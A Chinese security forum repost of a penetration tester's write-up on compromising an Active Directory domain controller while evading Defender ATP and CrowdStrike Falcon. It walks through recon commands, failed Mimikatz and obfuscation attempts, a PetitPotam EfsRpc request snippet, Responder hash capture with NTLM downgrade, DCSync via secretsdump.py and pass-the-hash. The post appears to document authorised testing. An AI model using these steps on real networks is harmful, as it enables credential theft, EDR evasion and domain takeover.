安全矩阵

 找回密码
 立即注册
搜索
查看: 2385|回复: 0

域渗透之完全绕开安全组件

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-10 13:15:37 | 显示全部楼层 |阅读模式
域渗透之完全绕开安全组件sunyyer 衡阳信安
2022-04-10 10:31

转载自
https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247496227&idx=1&sn=368c4f6a81d529d756a99c6d7fb6818c&chksm=fc45cfdfcb3246c9a08ab26f892d3cb07c35d1ff4d0cfd54e06147eea47eff18663bd81e24ee&mpshare=1&scene=23&srcid=0410bxV7Ha0eKV3xgoOgrKND&sharer_sharetime=1649559571307&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd

Summary

这两周一直在做域内DC渗透的工作,持续了较长时间,之前对实战中的域内渗透,尤其是域渗透的安全组件防御了解颇少,
所以过程也是磕磕绊绊,不过值得庆祝的是最后工作圆满完成。实战与靶机环境差别很大,内网的微软ATP组件、Fortinet 与CS(CrowdStrike)的Falcon安全组件
过于强大,很多工具都是根本无法使用的,免杀后会有各种问题.尤其是CS,不愧为北美最强EDR。
本地免去了隐蔽隧道联通外网搭建的过程,简单了一些,因为微软漏洞一直有专门的TSG打补丁,所以单独靠CVE难比登天。本文就这段时间的行动与思考做一个记录,Rspect!

Information collection

首先是常规的一些用户权限,域内环境等信息获取。我的测试账户是User Domain.
  1. 主机信息获取
  2. systeminfo #在这里就遇到了问题,按理说域内主机打的KB都会记录在里面,但是我发现里面仅有5个补丁,说明windwos补丁是由DC与安全组件统一去打,并不会记录在域内的用户主机上.
  3. tasklist #看到防护组件是falcon与Defender ATP,当然这属于多次一举,事先已经得到这些信息。
  4. 角色网络域信息
  5. ipconfig /all #看到主机名与IP地址信息,DNS后显示域名xxx.org存在,确定Domain name.
  6. net view /domain #直接报错。
  7. net time /domain #显示出了domain,再通过nslookup查到IP地址,确认此账户的DC name。
  8. 用户信息
  9. whoami /all # 查看一下权限,确认能不呢启动windows系统进程,powershell等。
  10. net group "Domain Admins" /all #查询域管理员账户,这个比较关键,为后面DESync做铺垫
  11. net group "Enterprise Admins" /domain #查询管理员用户组
  12. net group "Domain Controllers" /domain #查询域控制器,查到光中国就55个域,着实是大公司了。
  13. SPN查询服务信息
  14. setspn -q */* | findstr "xxx" #查询服务信息,主要啊是去搜了LDAP,共享主机和管道的开启状态。
复制代码
Mimikatz

提前跟SOC部门打好了招呼,直接把测试机的安全级别调为最低,但是仅仅也就是能使用Powershell进程了。尝试免杀版,git clone,unzip,
然后芭比Q了。。Defender与Falcon安全组件同时告警,意料之中,不过可以在关掉我网络的三分钟之内一把梭哈。privilege::debug sekulsa:logonpasswords,
时间就是效率。打开一看,有点失望,除了本地的几个账户的Hash,并无其他,试试DESyncdump,报错,查无信息,主机断网。。半小时后收到SOC联系,赶忙删除,清空回收站。

一计不成,再生一计,免杀。编译特征,各种免杀手法中挑了两个靠谱的,Out-EncryptedScript与Xencrpyt,一气呵成,打开Powershell,run。
两分钟后,电脑失去连接。。。邮箱轰炸,SOC又发来信息,赶忙删除,看了看卡巴与cs论坛,人家老美原来已经对mimikatz的这些方法全部免疫。
此时此刻我提桶跑路的心都有了,以前和360火绒打交道的我哪见过这阵势,连evil.ps1都给你杀的明明白白。再试试用内置服务+源码这条路。
xsl本地加载,咦?好像没有告警,成功了?来不及按捺心中的激动之情,我赶忙尝试sekulsal::xxxlgoon,报错。好家伙,我直呼好家伙。看来CS的安全组件
直接会将mimikatz的底裤都给找到,不慌,喝杯茶等SOC给我发邮件吧。。。

Tools篇

在又被批斗一次后,我决定放弃Mimikatz这个维持生计的家伙了。想办法用别的工具,一天已过,我除了被警告三次外一事无成,
再一次加深了我对网络安全这个行业的担忧。要打仗了没枪可怎么行,从Github找吧,自己编译是不可能的,这辈子都学不会~

最终把目标锁定在了Impacket组件、Powershell ps组件与Invoke组件。通过昨天的侦察,不出所料的话Powershell 与Invoke会被直接干掉,
但不死心,多个工具多条路,试试就逝世,打开Invoke函数Process和Powershell Mudle两分钟后,我的邮箱又多了四封邮件,要不你干脆把我杀了吧。

不幸的万幸是这次SOC没有给我发信息,估计是已经麻木了,嚯嚯,阶段性的胜利成果。言归正传,最终确定的工具为Impacker组件的py版本,因为本地客户端.exe通杀。单方面宣布python天下第一!
Impacket简单理解为一些基本网络协议的python编程类库。有了它,就可以实现一些如SMB、EFSRpc、LDAP、NTLM、KerBeros的通信连接。这是很有必要的。因为后续的Attack过程会用到很多重要脚本如secretdump.py这类。

PotitPetam初探
查资料发现PotitPetam是Printerbug在被大范围修复后的又一攻击渠道,最开始利用EfsRpcOpenFileRaw函数对其他主机做身份验证,
微软虽然在后面的补丁中尝试修复问题,但是新出现的EfsRpc函数仍可以利用,我们需要用它来获取NTLM-Hash,简单看了下原理,似懂非懂。
此次的攻击由于ADCS限制,不管是Relay还是约束委派都无法直接利用,且会被falcon监控到。所以尝试使用一种凭证降级的攻击利用方法,先获取凭证再说。
整个Attack Pocess就像Web中的MITM(中间人攻击),我们必须在域内的一台主机中开启监听网卡,然后通过MS-EFSR向靶机发送验证来获取关键的DC凭证,
所以必须知道一台域内通过NTLM认证可连接的DC主机,并且可以通过lsarpc或者其他pipe联通。不然无法进行PotitPetam,而且由于最新的DC管理默认NTLMv2认证,所以我们需要进行降级,去掉ssp。

Step1:

攻击机就选定为这台测试机,客户机使用我的本机计算机,他们虽然在不同的子域内,但是彼此是相互可以联通的,DC1为本地机的域1,DC2为本地机的DNS备选域2。以防不测。在测试机进行PotitPetam。首先查看本地Lan Manage身份管理,它会决定和客户端与DC的身份验证形式,默认是未定义的,如果是NTLMv2验证形式,在后续抓取口令的时候就需要进行降级处理;其次查看匿名访问的命名管道,默认是空的,如果要使用的话必须得有一个凭据,还好我有


Step2:

这儿利用PetitPotam的方式还是蛮多,gihub有现成的脚本,也可以调用EFSRPC函数去做连接,如果测试环境没有开lsarpc的话还是直接调用函数吧,域用户与域管IP,如图:

通过EfRPEncryptFileSrv() EFSRPC/lsarpc smb管道,like:
  1. >> request = EfsRpcEncryptFileSrv()
  2. >> request['FileName'] = '\\\\%s\\path\\test.txt\x00' %listener
  3. #request['Flag'] = 0
  4. #request.dump()
复制代码

Step3:

在另一台DC3中做responder监听,ROOT权限才可开启,如果没有root权限的话,需要使用别的工具了。可以看到已经成功抓取了NTLMv1-ssp的域管凭证,如图:

Step4:

接下来就是NTLM降级与取消ssp处理了,有两种方便的方法,一种是直接在responder中修改challeng的值为1122334455667788,另一种是使用在线网站或工具解密NTLM Cracking.like:

Step5:

到这儿就已经拥有了DC中一个用户的凭证哈希,可以将Hash拖出来跑hashcat或者彩虹表了,不过一般DC的密码都是强密码,16位强密码破解起来难度极大,
就算做了字典表也得跑很久,所以这儿再使用NTLM Relay的方式尝试。
https://www.onlinehashcrack.com/

Step6:

DCSync,使用Impacket套件中的secretdump.py去横向移动获取更多的域管理员和域用户的Hash值,将之前获取到的DC凭证带入,加上域用户名:

Step7:

PTH,哈希传递我们使用Impacket中的smbclient.py,这是一个共享smb管道,将DC管理员(权限最高)的哈希值与用户名放入,执行成功,就可以增删改查文件了。如图:



使用提权工具提权其他DC的其他非管理员用户,查看使用过smb的用户,替换哈希,提升权限,这儿我用incognito2尝试了一台域内测试机,抱着试试看的
态度VS改了一下特征值,神奇的是竟然没有产生告警,有点奇怪。



到这儿任务已经完成,存在PetitPotam问题。且可以成功利用获取DC信息,且整个过程绕过安全组件。
引用https://xz.aliyun.com/t/10063
https://github.com/topotam/PetitPotam

来源:先知(https://xz.aliyun.com/t/11096)
注:如有侵权请联系删除




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 23:35 , Processed in 0.014450 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表